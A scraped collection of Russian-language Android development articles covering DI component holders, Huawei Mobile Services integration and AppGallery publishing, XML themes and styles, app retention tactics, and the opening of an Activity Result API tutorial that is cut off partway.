Но нам бы ещё хотелось, чтобы dependency holder не нужно было создавать отдельно от FeatureDependencies, т.е. чтобы создание Dependency Holder автоматически влекло за собой создание FeatureDependencies. Иначе можно забыть добавить в dependency holder ссылку на компонент.

Для этого можно сделать такой абстрактный dependency holder:

Использоваться он будет так:

Тут придётся написать много абстрактных DependencyHolder с разным числом используемых компонентов. В примере выше показано для двух используемых компонентов. В реальном проекте используемых компонентов может быть гораздо больше. И для каждого количества нужен свой абстрактный класс. Можно сразу написать много DependencyHolder'ов, принимающих от 0 до, например, 20 параметров и, если нужно, дописывать уже по ходу. Необходимость писать кучу DependencyHolderов с разным числом параметров - недостаток такой реализации DependencyHolderа. Тем не менее, написать такой абстрактный класс - задача тривиальная: просто скопировать и написать для нужного числа аргументов. К тому же, врядли возможна ситуация, когда у компонента очень много других используемых компонентов. Если компонент использует более 20 других компонентов, то, наверное, что-то пошло не так в архитектуре приложения.

Однако, если вы знаете способ сделать Dependency Holder получше - сообщите мне или напишите отдельную статью на эту тему.

Компонент Activity и других сущностей со своим контекстом

Важно ещё упомянуть про компоненты, которые содержат свой контекст, например, Activity.

Что не так с Activity?

Представим себе, что у нас есть Activity, а у неё есть Presenter в случае MVP или другая сущность, отвечающая за логику этой Activity.

Очевидно мы хотим создавать Presenter через компонент. Ок, пусть активити запускается из другой активити. Тогда та, родительская активити прикопает себе компонент новой (см. выше, мы договорились прикапывать ссылки на используемые компоненты) и всё вроде бы хорошо. Да, в этом случае всё хорошо.

Но! Активити может запускаться и не из другой активити. Она может запуститься из ланчера, нотификации и даже из другого приложения. Т.е. получается, что у активити может не быть родительского компонента и некуда прикопать ссылку на её компонент.

Что же делать? Ответ: прикопать в активити ссылку на свой компонент.

Есть нюанс касательно именно активити. Объекты Activity могут пересоздаваться при ещё видимом контенте. Поэтому прикопать ссылку на компонент активити нужно в безопасном месте, т.е. там, где эта ссылка переживёт переворот экрана, например. В случае MVP, если использовать, например, Moxy, ссылку можно прикопать в презентере. В случае MVI, если использовать, например, MVIKotlin, ссылку можно прикопать в InstanceKeeper.

Это нужно делать как для случая, если в приложении используется подход Single Activity, так и в случае Muliple Activity. Любая активити может запускаться извне, будь она одна на приложение, или одна из многих активитей. Поэтому нужно всегда следовать этому правилу.

А не нужно ли так же поступать для фрагментов? Нет. Фрагменты не могут жить вне активити, значит они будут созданы из компонента этой активити или из используемых компонентов, ссылки на которые будут сохранены.

Кроме Activity в Android есть и другие сущности, которые могут создаваться извне. Например, сервисы. В них тоже нужно прикапывать ссылку на свой компонент.

Если какой-то компонент должен жить всё время, пока запущено приложение, то он должен идти зависимостью на компонент приложения, ссылка на который, в свою очередь, хранится в Application.

Общее правило можно сформулировать таким образом: для сущностей, которые могут запускаться извне (со своим контекстом), нужно прикапывать в них ссылку на свой компонент.

А что будет если система прибьёт процесс и потом будет восстанавливать активити и иерархию фрагментов? В этом случае все компоненты переинициализируются сами как при обычном запуске данной активити.

Заключение

Итак, использование ленивых Component Holder c WeakReference на компонент позволяет более просто склеивать модули. Модули инициализируются по требованию и освобождаются когда не нужны, причём сами по себе. Не нужно руками управлять жизненным циклом компонентов, придумывать скопы и т.п. Всё просто - если компонент используется, то он жив. Если не используется, то нет и его инстанса.

Пример рабочего приложения с использованием этого подхода можно посмотреть здесь: https://github.com/PavelSidyakin/WeatherForecast/tree/refactortomultimodule_structure

Выражаю благодарность за ревью статьи, ценные замечания и просто информацию к размышлению: Михаилу Емельянову, Евгению Мацюку, Андрею Берюхову, Тимуру Алмаметову, Мансуру Бирюкову, Степану Гончарову, Александру Блинову, Сергею Боиштяну.

Подробнее..

Жизнь без AppStore и Google Play работаем с Huawei Mobile Services и AppGallery

07.04.2021 16:22:59 | Автор: admin

С конца 2019 Huawei поставляет Android-смартфоны без сервисов Google, в том числе без привычного всем магазина приложений Google Play. В качестве альтернативы китайская компания предлагает собственные разработки Huawei Mobile Services (HMS), а также магазин AppGallery. В этом тексте я разработчик Технократии Алина Саетова расскажу, как с этим жить и работать.

В статье мы рассмотрим:

  • начало работы c Huawei-системой

  • внедрение Huawei Mobile Services в приложение

  • отладка и тестирование на удаленных устройствах Huawei

  • публикация в AppGallery

Видеоверсию статьи смотрите здесь на канале Технократии.

С чего начать?

Чтобы взаимодействовать с Huawei-системой, нужно завести Huawei ID. Это аналог google-аккаунта, с помощью которого предоставляется доступ к сервисам системы. Далее нужно зарегистрировать аккаунт разработчика: индивидуальный или корпоративный.

  • Индивидуальному разработчику нужно ввести свои ФИО, адрес, телефон, почту. В отличие от регистрации аккаунта разработчика в Google Play, нужны также сканы паспорта и банковской карты. Да-да, документы требуются для удостоверения личности. Huawei обещает удалить их после регистрации.

  • Для регистрации корпоративного аккаунта требуются данные компании, либо DUNS number (международный идентификатор юридических лиц), либо бизнес лицензия.

Ждем одобрения аккаунта. За 1-2 дня Huawei обещают проверить наши данные. После этого можно подключать приложение к HMS. Для этого заходим в консоль AppGallery Connect.

  1. Создаем проект, а в нем добавляем приложение

Обращаем внимание, что для приложения, в котором используются HMS, название пакета должно оканчиваться на .huawei.

2.Помещаем конфигурационный файл agconnect-services.json в корневую папку приложения. Также сохраняем хэш SHA-256. Он потребуется для аутентификации приложения, когда оно попытается получить доступ к службам HMS Core.

Примечание. Для того, чтобы получить SHA-256, можно выполнить команду в терминале, подставив необходимые данные из вашего keystore:

keytool -list -v -keystore <keystore path> -alias <key alias> -storepass <store password> -keypass <key password>

Для работы некоторых сервисов нужно указать место хранения данных:

3.Добавляем зависимости в проект Android Studio.В build.gradle на уровне проекта:

buildscript {      repositories {          google()          jcenter()          maven { url 'https://developer.huawei.com/repo/' }      }      dependencies {      ....        classpath 'com.huawei.agconnect:agcp:1.4.2.301'     }  }allprojects {      repositories {          google()          jcenter()          maven {url 'https://developer.huawei.com/repo/'}      }  }

В build.gradle в модуле app:

apply plugin: 'com.android.application'apply plugin: 'kotlin-android'apply plugin: 'kotlin-android-extensions'apply plugin: 'kotlin-kapt'...apply plugin: 'com.huawei.agconnect'android {...}dependencies {...implementation "com.huawei.agconnect:agconnect-core:1.4.1.300...}

4.Для предотвращения обфускации AppGallery Connect сервисов, Huawei рекомендует прописать следующие правила в файле proguard-rules.pro на уровне модуля app:

  • Для ProGuard:

-ignorewarnings -keep class com.huawei.agconnect.**{*;}
  • Для DexGuard:

-ignorewarnings-keep class com.huawei.agconnect.** {*;} -keepresourcexmlelements ** -keepresources */*

Первоначальная настройка проекта с Huawei Mobile Services завершена.

Внедряем HMS сервисы в проект

Почти на каждый сервис Google у Huawei есть альтернатива:

  • Push Kit. Отправка пуш-уведомлений пользователям.

  • Auth Service. В дополнение к привычным способам аутентификации здесь присутствует вход по Huawei ID.

  • Crash Service. Cервис для отслеживания крашей приложения.

  • Cloud Storage, Cloud DB. Хранение различных файлов и база данных.

  • Location Kit. Получение местоположения пользователя.

  • Analytics Kit. Анализ статистических данных приложения.

  • In-App Purchases. Совершение покупок в приложении.

  • Cloud Testing, Cloud Debugging. Тестирование приложений на удаленных устройствах Huawei.

Этот список можно продолжать долго у Huawei довольно обширный перечень сервисов. Как же подключить их в наш проект?

Прежде всего, нам нужно определиться, как мы будем внедрять сервисы. Есть несколько вариантов:

  • Полностью заменяем GMS сервисы на HMS сервисы

  • Делаем комбинацию GMS и HMS сервисов в одном проекте

В этом деле нам пригодится плагин HMS Toolkit. Он поможет интегрировать HMS Core с минимальными затратами и высокой эффективностью. К сожалению, HMS Toolkit поддерживает конвертацию не всех сервисов, и лучше заранее уточнить, сможет ли он перенести работу ваших.

Нам нужен инструмент Convertor. Он проанализирует проект на наличие GMS сервисов и покажет места, где требуется заменить код с GMS на HMS.

  1. В меню выбираем HMS > Convertor > New Conversion:

2.В появившемся окошке указываем директорию, где создастся бэкап проекта до конвертации.

3.Здесь плагин представляет результаты анализа проекта: какие GMS сервисы у нас содержатся и какие из них конвертируемые. Также нам предлагается проверить sdk version для соответствия требованиям HMS.

На этом шаге мы должны выбрать стратегию конвертации:

  • Add HMS API. На основе существующих в проекте GMS APIs генерируется XMS adapter (как дополнительный модуль в проекте). Он представляет собой прослойку между нашим кодом и непосредственно вызовом сервисов. Это такие Extension-классы, в которых лежит код, поддерживающий HMS и GMS сервисы одновременно. В runtime определяется поддерживаемый девайсом вид сервисов и вызываются соответствующие методы.

  • To HMS API полностью заменяются GMS APIs на HMS APIs.

4.После анализа проекта, мы видим список мест в коде, где необходима конвертация.

По клику на каждый пункт произойдет навигация в файл, где будет предложена конвертация:

Если был выбран способ Add HMS API, мы можем посмотреть на сгенерированный xms адаптер. Вот так, например, выглядит метод из класса ExtensionUser:

А вот размер xms адаптер модуля при использовании лишь одного API с аутентификацией пользователя:

По итогу, APK нашего приложения увеличивается (old size - это APK приложения с only GMS, new size - APK с GMS и HMS одновременно):

Не сказать, что разница велика, но если в приложении будет использоваться несколько API?

Подводные камни

В политике Google Play есть замечание:

Any existing app that is currently using an alternative billing system will need to remove it to comply with this update. For those apps, we are offering an extended grace period until September 30, 2021 to make any required changes. New apps submitted after January 20, 2021 will need to be in compliance.

Что это значит для нас? Теперь, если приложение одновременно поддерживает HMS и GMS сервисы, и в нем есть In-App Purchases, то Google Play не допустит его публикации, а существующим приложениям придется удалить этот функционал.В итоге, если был выбран первый способ конвертации (Add HMS API), мы имеем:

  • Большое количество сгенерированных классов.

  • Увеличенный размер APK приложения.

  • Невозможность публикации приложения в Google Play, если в нем есть In-App Purchases.

  • Неполную поддержку одновременной работы HMS & GMS для некоторых сервисов.

Решение: Более привлекательным вариантом кажется второй способ конвертации простая замена GMS APIs на HMS APIs. Но вместе с этим используем product flavors, чтобы получать сборки приложения отдельно для Google Play и AppGallery.

Product Flavors

Создадим два product flavor - hms и gms:

  • Общий код будет располагаться в директории main/

  • Укажем sourceSets в файлах build.gradle модулей (только там, где необходимо разделение на hms и gms)

  • Код с GMS имплементацией будет в папке gms/, а с HMS соответственно в hms/

  • У hms flavora указываем applicationIdSuffix = .huawei

  • Если же нет необходимости заводить целые файлы отдельно для каждого flavora, то можно проверять текущий flavor через BuildConfig.FLAVOR

android {        flavorDimensions 'services'    productFlavors {        hms {            dimension 'services'            applicationIdSuffix '.huawei'        }        gms {            dimension 'services'        }    }}

По умолчанию, Android Studio заводит sourceSet main, в котором содержатся общие файлы с кодом. Создаем папки для каждого flavora:

New -> Folder -> Выбираем нужный тип папки:

Затем в build.gradle того модуля, где мы создали папку, должен автоматически вставиться следующий код (например, если мы выбрали hms):

android {        productFlavors {        ...    }    sourceSets {        hms {            java {                srcDirs 'src/hms/java'            }            ...        }    }}

Теперь Gradle будет включать в сборку файлы, соответствующие выбранному flavorу. Важно, чтобы файлы в этих директориях имели одинаковое название и лежали в пакетах с одним и тем же названием.

Пример. Мы используем Auth API. У нас будет абстракция интерфейс AuthRepository, хранящийся в main/, а его имплементации для разных сервисов лежат в gms/ и hms/ директориях тогда в сборку, например, для HMS, попадет именно имплементация с huawei сервисами.

Если проект многомодульный, то в каждом модуле необходимо прописать flavorы и при необходимости source sets. Код с flavorами можно вынести в отдельный файл.

Создадем .gradle файл в корневой папке проекта, назовем его flavors.gradle:

ext.flavorConfig = {    flavorDimensions 'services'    productFlavors {        hms {            dimension 'services'            ext.mApplicationIdSuffix = '.huawei'        }        gms {            dimension 'services'        }    }    productFlavors.all { flavor ->        if (flavor.hasProperty('mApplicationIdSuffix') && isApplicationProject()) {            flavor.applicationIdSuffix = flavor.mApplicationIdSuffix        }    }}def isApplicationProject() {    return     project.android.class.simpleName.startsWith('BaseAppModuleExtension')}

Помимо самих flavorов, в экстеншене flavorConfig лежит код с циклом по flavorам там будет определяться app модуль, которому присваивается applicationIdSuffix.

Затем в каждом модуле прописываем следующее:

apply from: "../flavors.gradle"android {    buildTypes {        ...    }    ...    with flavorConfig}

Для использования подходящих плагинов во время процесса компиляции можем добавлять такие if-else конструкции:

apply plugin: 'kotlin-kapt'...if(getGradle().getStartParameter().getTaskNames().toString().toLowerCase().contains("hms")) {    apply plugin: 'com.huawei.agconnect'} else {    apply plugin: 'com.google.gms.google-services'    apply plugin: 'com.google.firebase.crashlytics'}...

Для каждого flavorа мы можем включать dependencies, необходимые только ему. Перед implementation прописываем его название:

// FirebasegmsImplementation platform('com.google.firebase:firebase-bom:26.1.0')gmsImplementation 'com.google.firebase:firebase-crashlytics-ktx'gmsImplementation 'com.google.firebase:firebase-analytics-ktx'// Huawei serviceshmsImplementation 'com.huawei.agconnect:agconnect-core:1.4.2.300'hmsImplementation 'com.huawei.hms:push:5.0.4.302'hmsImplementation 'com.huawei.hms:hwid:5.0.3.301'

Тестируем и отлаживаем приложение

После того, как мы внедрили Huawei сервисы в приложение, нам нужно протестировать его работоспособность.

У Huawei есть облачная платформа DigiX Lab, в которой представлены 2 сервиса.

С помощью сервиса облачного тестирования проверяем совместимость, стабильность, производительность и энергопотребление приложения на удаленных устройствах Huawei. Краткое описание тестов можно увидеть на картинке.

По окончании каждого теста доступен подробный отчет. Можно узнать о сбоях, ANR, утечках ресурсов, также увидеть загрузку процессора, использование памяти и многое другое. Плюсом будут доступны скриншоты, которые снимаются во время тестирования и журналы Logcat.

Тесты можно запускать либо с помощью плагина в Android Studio:

Либо в консоли AppGallery, выгрузив туда свой APK:

Служба облачной отладки решает проблему отсутствия реальных устройств Huawei. Предоставляется список удаленных устройств, а разовый сеанс работы до 2 часов. Сервис дает 24 часа работы бесплатно после подтверждения личности. Можно подавать заявки на продление срока действия неограниченное количество раз. Отладка также доступна из Android Studio и консоли.

Публикуем приложение в AppGallery

После внедрения сервисов и успешного тестирования приложения, мы готовы публиковаться в AppGallery.

1.Переходим в AppGallery Connect и заполняем данные:

2.Грузим иконку приложения и скриншоты. Есть возможность прикрепить видео.

3.Указываем страны/регионы для публикации и грузим APK приложения. Кроме того, нужно загрузить подпись приложения.

4.Отмечаем способ покупок в приложении и рейтинг.

5.Грузим политику конфиденциальности (обязательно) и предоставляем данные тестового аккаунта, если это необходимо. Указываем дату публикации.

6.Нажимаем кнопочку Отправить на проверку и ждем! Проверка по регламенту занимает около 3-5 дней.

Основные причины отказа в публикации

  1. Политика конфиденциальности не соответствует стандарту

    • Отсутствует ссылка на политику конфиденциальности.

    • Ссылка на политику конфиденциальности недоступна.

    • Ссылка на политику конфиденциальности ведет на официальный сайт компании, на котором нет ссылки на политику конфиденциальности.

  2. Указанный статус Гонконга и Макао не соответствует стандарту.Гонконг и Макао не могут быть указаны как страны на странице выбора региона. Китай очень трепетно относится к этому. Пример:

3.Приведены ссылки на сторонние магазины приложений

Функция для оценки и написания отзыва в приложении содержит ссылку на сторонние магазины приложений без ссылки на AppGallery

Итоги

Huawei выстроили удобный процесс адаптации приложения под свои сервисы. Максимально безболезненный переход к HMS, тестирование и отладка на удаленных устройствах, а также знакомый процесс публикации приложения значительно облегчат жизнь разработчику. И пока что в AppGallery не такая серьезная конкуренция как в других магазинах приложений, самое время присоединяться к Huawei сообществу.

Полезные ссылки

Подписывайтесь на наш Telegram-канал Голос Технократии, где мы пишем о новостях из мира ИТ и высказываем свое мнение о важных событиях.

Подробнее..

Темы, стили и атрибуты

20.02.2021 18:04:03 | Автор: admin

В Android существуют стили и темы которые позволяют структурировать разработку пользовательского интерфейса.

Они состоят из атрибутов которые определяют дизайн элементов. Атрибуты можно создавать или уже использовать существующие. Атрибутам можно присвоить значение, тип которого указывается при его создании.

Пример объявления атрибута из Android SDK:

<attr name="background" format="reference|color" />

Примечание:

Ссылка на другой атрибут через @[package:]type/name структуру тоже является типом.

Темы vs стили

Темы и стили очень похожи, но используются для разных целей.

Стиль объединяет атрибуты для конкретного виджета. Извлекая атрибуты в стили, их можно легко использовать и поддерживать в нескольких виджетах одновременно.

Тема, в свою очередь, определяет набор атрибутов на которые можно ссылаться в приложении.

Стили и темы предназначены для совместной работы.

Например, у нас есть стиль, в котором фон кнопки - colorPrimary, а цвет текста - colorSecondary. Фактические значения этих цветов приведены в теме.

<?xml version="1.0" encoding="utf-8" ?><resources xmlns:android="http://personeltest.ru/away/schemas.android.com/apk/res/android"><style name="LightTheme" parent="YourAppTheme"><item name="colorPrimary">#FFFFFF</item><item name="colorSecondary">#000000</item></style><style name="DarkTheme" parent="YourAppTheme"><item name="colorPrimary">#000000</item><item name="colorSecondary">#FFFFFF</item></style><style name="Button.Primary" parent="Widget.MaterialComponents.Button"><item name="android:background">?attr/colorPrimary</item><item name="android:textColor">?attr/colorSecondary</item></style></resources>

Когда устройство переходит в ночной режим, приложение может переключаться со своей светлой темы на темную, изменяя значения этих ресурсов.

Нет необходимости менять стили, так как стили используют семантические имена, а не конкретные цветовые ресуры.

Виды ссылок в XML

Атрибут android:background может принимать несколько типов:

android:background="@color/colorPrimary"android:background="?attr/colorPrimary"

В случае с @color/colorPrimary - мы cсылаемся на цветовой ресурс colorPrimary, а точнее на <color name="colorPrimary">#FFFFFF<color> строку, которая прописана в res/values/color.xml файле.

Примечание:

Цвет - это ресурс, на который ссылаются используя значение, указанное в атрибуте name, а не имя XML-файла. Таким образом, можно комбинировать цветовые ресурсы с другими ресурсами в XML-файле под одним элементом <resources>, но я этого не рекомендую.

В свою очередь, ?attr - это ссылка на аттрибут темы.

?attr/colorPrimary указывает на colorPrimary атрибут, который находится в текущей теме:

<?xml version="1.0" encoding="utf-8" ?><resources xmlns:android="http://personeltest.ru/away/schemas.android.com/apk/res/android"><style name="YourAppTheme" parent="Theme.AppCompat.Light.NoActionBar"><item name="colorPrimary">@color/colorPrimary</item></style></resources>

Преимущество ?attr ссылок в том, что они будут меняться в зависимости от выбранной темы.

Использование атрибутов темы позволяет создавать меньше стилей, изолируя изменения внутри темы.

Всегда старайтесь ссылаться на цветовые ресурсы через атрибуты темы

Даже, если вы сейчас не поддерживаете несколько тем, то я бы всё равно рекомендовал следовать этому подходу, поскольку он значительно упростит дальнейшую работу с темами и стилями.

Структура ссылок

@[package:]type/name

  1. package - (опционально) название пакета в котором находиться ресурс. По умолчанию - это пакет приложения, в котором находится ресурс.

  2. type - может быть одним из color, string, dimen, layout или какого-либо другого типа ресурса. Более подробно читайте здесь.

  3. name - имя ресурса, используется как идентификатор ресурса.

?[package:]type/name

  1. package - (опционально) название пакета в котором находиться ресурс. По умолчанию - это пакет приложения, в котором находится ресурс.

  2. type - (опционально) всегда attr когда используем ?.

  3. name - имя ресурса, используется как идентификатор ресурса.

? vs ?attr vs ?android:attr

Возможно, вы замечали, что к некоторым атрибутам можно обратиться как ?android:attr/colorPrimary, так и ?attr/colorPrimary, а также ?colorPrimary.

Это связано с тем, что некоторые атрибуты определены в Android SDK, и поэтому нужно указывать приставку android, чтобы ссылаться на них.

Мы можем использовать ? и ?attr в случае, когда эти атрибуты находятся в библиотеках(Например, в AppCompat или MaterialDesign), которые компилируюся в приложение, поэтому пространство имен не требуется.

Некоторые элементы определены и в Android SDK, и в библиотеке, например colorPrimary.

В таких случаях лучше использовать версию из библиотеки, поскольку она имеет поддержку на всех уровнях API.

Полезные ссылки

Ниже список с интересными статьями о стилях и темах от Google Android разработчиков:

  1. Theming with AppCompat

  2. Android styling: themes vs styles

  3. Whats your texts appearance?

  4. Android Styling: themes overlay

  5. Android Styling: prefer theme attributes

  6. Android styling: common theme attributes

Рекомендую ещё к просмотру видео с Android Dev Summit 2019 года. Ссылка на видео

Подробнее..

Как увеличить срок хранения мобильного приложения? 6 проверенных способов

28.02.2021 02:15:32 | Автор: admin

Увеличение срока хранения в мобильном приложении - это действие, направленное на возвращение пользователей в приложение. На практике это обычно означает необходимость сосредоточить свои действия на долгосрочных последствиях. Одноразовые рекламные кампании могут привести к кратковременному увеличению трафика приложений, но они не способствуют созданию стабильной базы постоянных клиентов. Вот почему стоит разработать продукт и представить его на рынке таким образом, чтобы он не только привлекал интерес клиентов, но и поддерживал его. Механизмы, описанные ниже, составляют дополнительное целое, которое помогает его развивать.

1. Специальные акции для пользователей

Акции являются одним из способов увеличения удержания. Например акции с ограниченым временем на покупку или ограниченое колличество товаров.

Об этом можно также информировать посредством push-уведомлений, благодаря которым пользователи могут быстро реагировать на это, получая преимущество перед пользователями настольных компьютеров, используя сайт интернет-магазина.

Выделенные предложения также могут быть построены на основе анализа поведения предыдущих пользователей: если мы знаем, какие продукты просматривал наш клиент, мы можем предложить их по более выгодной цене. Кроме того, дополнительным стимулом для использования мобильного приложения является ограничение распространения некоторых предложений на мобильный канал.

Акцияможет быть дополненаперекрестнымипродажами(например, Купите два продукта из данной категории и получить третий бесплатно) и, таким образом, можно увеличить объем покупки.

2. Интеллектуальные push-уведомления

Данные о поведении и геолокации, часто получаемые в режиме реального времени, позволяют точно связаться с людьми с сообщением в нужном месте и времени (например, Здравствуйте! Вы чувствуете себя сонным? Сегодня со скидкой [здесь стоимость акции]). Это дает им преимущество перед, например, ремаркетингом на основе файлов cookie. Придавая правильную ценность пользователю через персонализированное сообщение, мы увеличиваем вероятность совершения покупки.

Конечно, отправлять большое количество уведомлений безрассудно бессмысленно - это может отпугнуть пользователей и заставить их не использовать приложение или даже удалить его. Поэтому рекомендуется разрешить пользователям управлять настройками уведомлений в приложении.

Тщательно разработанное push-уведомление должно быть коротким, разборчивым и, самое главное, четко информировать пользователя о преимуществах возврата в приложение. Возможность пробудить интерес пользователя также заключается в использовании расширенных push-уведомлений, которые вместо текста могут иметь значок и изображение в содержимом.

Подробно про это я уже писал в другой своей статье. Если будет интересно - выложу на хабре.

3. Индексация приложений, то есть индексация приложений в поисковой системе.

В 2015 году, после трех лет тестирования, Google, наконец, решил ввести функцию индексации приложений в поисковой системе общего пользования (избранные разработчики получили доступ к ней двумя годами ранее; именно их приложения проложили путь для преемников). В настоящее время Google индексирует приложения для мобильных устройств с iOS и Android, что означает, прежде всего, гораздо больше возможностей для охвата получателей. Индексируя приложение, потенциальные пользователи могут найти его в результатах поиска Google. Я говорю здесь - конечно - о людях, просматривающих интернет с телефонов и планшетов. Если у них есть конкретное приложение, нажимающее на ссылку (например, размещенную на веб-сайте), они автоматически переносятся на один из его экранов (например, ответы на конкретный вопрос или товар). Если нет - они могут установить его, нажав кнопку на странице результатов (или в мобильной версии сайта). В этой ситуации они переносятся прямо в App Store или платформу Google Play.

Следует сразу отметить, что Google индексирует только те приложения, которые соответствуют условиям. Программная документация о так называемой индексация приложений доступна на веб-сайтеFirebase App Indexing. Внедрение функций индексации (например, глубоких ссылок с мобильной страницы на экраны приложений) должно осуществляться на этапе разработки программы и являться частью более широкого плана присутствия в Интернете. Сам процесс реализации индексации приложений варьируется в зависимости от операционной системы (мы делаем по-разному в случае iOS, по-разному - Android) и подробно описанздесь (iOS)издесь (Android).

Наиболее важным преимуществом внедрения индексации приложений являетсявозможность направлять пользователей непосредственно из результатов поиска на экраны конкретных приложений, что может значительно увеличить количество конверсий(но за счет посещений веб-сайта).

4. Ссылки, открывающие приложение, размещенные в рассылках, социальных сетях и т. Д. (так называемая глубокая связь)

Принцип роботы "глубоких ссылок" или deep link

Глубокие ссылки, то есть ссылки, позволяющие приложению и перемещающие пользователей с помощью мобильных устройств непосредственно на конкретный экран, могут использоваться, например, при рассылке по почте или рекламе в социальных сетях. Глубокие ссылки особенно хорошо работают в рассылках и в рекламе на Facebook.

Кроме того, глубокие ссылки могут содержать правила, которые проверяют, например, есть ли у пользователя текущая версия приложения, и переносят ее в магазин, поощряя обновление в случае отрицательного ответа.

5. Google UAC - универсальные кампании по продвижению приложений

Кампании попродвижению универсальных приложений(Universal App Campaigns, корочеUAC) - хороший вариант для людей, которые хотят автоматизировать рекламные процессы; После загрузки всех необходимых материалов в AdWords система распространения рекламы будет решать, кто, когда, что и как отображать, чтобы достичь нашей цели.

Для таких кампаний вы должны сначала внедрить решения платформы Firebase в свое мобильное приложение, что позволит вам устанавливать события, ранее определенные в приложении.

Вы можете узнать больше о кампаниях Universal App наофициальной странице справки Google. Там мы также найдем информацию о различных способах установления целей, ориентированных на удержание.

6. Увеличение удержания мобильного приложения за пределы цифрового маркетинга: ATL и BTL

Продвижение мобильного приложения не должно ограничиваться интернет-маркетингом. Продвижение ATL (выше линии), например, рекламные щиты, газеты, листовки и BTL (ниже линии), например, городские игры в среде дополненной реальности и POSy, при правильном использовании они также могут хорошо работать.

Резюмируя

Следует помнить, что приложения ориентированы скорее на построение долгосрочных отношений с постоянными пользователями. Поэтому работа над сохранением и способы его увеличения стоит начинать на этапе разработки приложения. Если платное продвижение на практике оказывается единственным источником удержания на практике, определенно стоит поискать причины низких коэффициентов возврата пользователей в самом приложении и внести соответствующие изменения.

Подробнее..

Получаемрезультатправильно(Часть 1). ActivityResultAPI

07.03.2021 22:07:07 | Автор: admin

Каждый Android-разработчик сталкивался с необходимостью передать данные из одной Activity в другую. Эта тривиальная задача зачастую вынуждает нас писать не самый элегантный код.

Наконец, в 2020 году Google представила решение старой проблемы Activity Result API. Это мощный инструмент для обмена данными между активностями и запроса runtime permissions.

В данной статье мы разберёмся, как использовать новый API и какими преимуществами он обладает.

Чем плох onActivityResult()?

Роберт Мартин в книге Чистый код отмечает важность переиспользования кода принцип DRY или Dont repeat yourself, а также призывает проектировать компактные функции, которые выполняют лишь единственную операцию.

Проблема onActivityResult() в том, что при его использовании соблюдение подобных рекомендаций становится практически невозможным. Убедимся в этом на примере простого экрана, который запрашивает доступ к камере, делает фото и открывает второй экран SecondActivity. Пусть в SecondActivity мы передаём строку, а назад получаем целое значение.

class OldActivity : AppCompatActivity(R.layout.a_main) {   override fun onCreate(savedInstanceState: Bundle?) {       super.onCreate(savedInstanceState)       vButtonCamera.setOnClickListener {           when {               checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED -> {                   // доступ к камере разрешен, открываем камеру                   startActivityForResult(                       Intent(MediaStore.ACTION_IMAGE_CAPTURE),                       PHOTO_REQUEST_CODE                   )               }               shouldShowRequestPermissionRationale(Manifest.permission.CAMERA) -> {                   // доступ к камере запрещен, нужно объяснить зачем нам требуется разрешение               }               else -> {                   // доступ к камере запрещен, запрашиваем разрешение                   requestPermissions(                       arrayOf(Manifest.permission.CAMERA),                       PHOTO_PERMISSIONS_REQUEST_CODE                   )               }           }       }       vButtonSecondActivity.setOnClickListener {           val intent = Intent(this, SecondActivity::class.java)               .putExtra("my_input_key", "What is the answer?")           startActivityForResult(intent, SECOND_ACTIVITY_REQUEST_CODE)       }   }   override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {       when (requestCode) {           PHOTO_REQUEST_CODE -> {               if (resultCode == RESULT_OK && data != null) {                   val bitmap = data.extras?.get("data") as Bitmap                   // используем bitmap               } else {                   // не удалось получить фото               }           }           SECOND_ACTIVITY_REQUEST_CODE -> {               if (resultCode == RESULT_OK && data != null) {                   val result = data.getIntExtra("my_result_extra")                   // используем result               } else {                   // не удалось получить результат               }           }           else -> super.onActivityResult(requestCode, resultCode, data)       }   }   override fun onRequestPermissionsResult(       requestCode: Int,       permissions: Array<out String>,       grantResults: IntArray   ) {       if (requestCode == PHOTO_PERMISSIONS_REQUEST_CODE) {           when {               grantResults[0] == PackageManager.PERMISSION_GRANTED -> {                   // доступ к камере разрешен, открываем камеру                   startActivityForResult(                       Intent(MediaStore.ACTION_IMAGE_CAPTURE),                       PHOTO_REQUEST_CODE                   )               }               !shouldShowRequestPermissionRationale(Manifest.permission.CAMERA) -> {                   // доступ к камере запрещен, пользователь поставил галочку Don't ask again.               }               else -> {                   // доступ к камере запрещен, пользователь отклонил запрос               }           }       } else {           super.onRequestPermissionsResult(requestCode, permissions, grantResults)       }   }   companion object {       private const val PHOTO_REQUEST_CODE = 1       private const val PHOTO_PERMISSIONS_REQUEST_CODE = 2       private const val SECOND_ACTIVITY_REQUEST_CODE = 3   }}

Очевидно, что метод onActivityResult() нарушает принцип единственной ответственности, ведь он отвечает и за обработку результата фотографирования и за получение данных от второй Activity. Да и выглядит этот метод уже довольно запутанно, хоть мы и рассмотрели простой пример и опустили часть деталей.

Кроме того, если в приложении появится другой экран со схожей функциональностью, мы не сможем переиспользовать этот код и будем вынуждены его дублировать.

Используем Activity Result API

Новый API доступен начиная с AndroidX Activity 1.2.0-alpha02 и Fragment 1.3.0-alpha02, поэтому добавим актуальные версии соответствующих зависимостей в build.gradle:

implementation 'androidx.activity:activity-ktx:1.3.0-alpha02'implementation 'androidx.fragment:fragment-ktx:1.3.0'

Применение Activity Result состоит из трех шагов:

Шаг 1. Создание контракта

Контракт это класс, реализующий интерфейс ActivityResultContract<I,O>. Где I определяет тип входных данных, необходимых для запуска Activity, а O тип возвращаемого результата.

Для типовых задач можно воспользоваться реализациями из коробки: PickContact, TakePicture, RequestPermission и другими. Полный список доступен тут.

При создании контракта мы обязаны реализовать два его метода:

  • createIntent() принимает входные данные и создает интент, который будет в дальнейшем запущен вызовом launch()

  • parseResult() отвечает за возврат результата, обработку resultCode и парсинг данных

Ещё один метод getSynchronousResult() можно переопределить в случае необходимости. Он позволяет сразу же, без запуска Activity, вернуть результат, например, если получены невалидные входные данные. Если подобное поведение не требуется, метод по умолчанию возвращает null.

Ниже представлен пример контракта, который принимает строку и запускает SecondActivity, ожидая от неё целое число:

class MySecondActivityContract : ActivityResultContract<String, Int?>() {   override fun createIntent(context: Context, input: String?): Intent {       return Intent(context, SecondActivity::class.java)           .putExtra("my_input_key", input)   }   override fun parseResult(resultCode: Int, intent: Intent?): Int? = when {       resultCode != Activity.RESULT_OK -> null       else -> intent?.getIntExtra("my_result_key", 42)   }   override fun getSynchronousResult(context: Context, input: String?): SynchronousResult<Int?>? {       return if (input.isNullOrEmpty()) SynchronousResult(42) else null   }}

Шаг 2. Регистрация контракта

Следующий этап регистрация контракта в активности или фрагменте с помощью вызова registerForActivityResult(). В параметры необходимо передать ActivityResultContract и ActivityResultCallback. Коллбек сработает при получении результата.

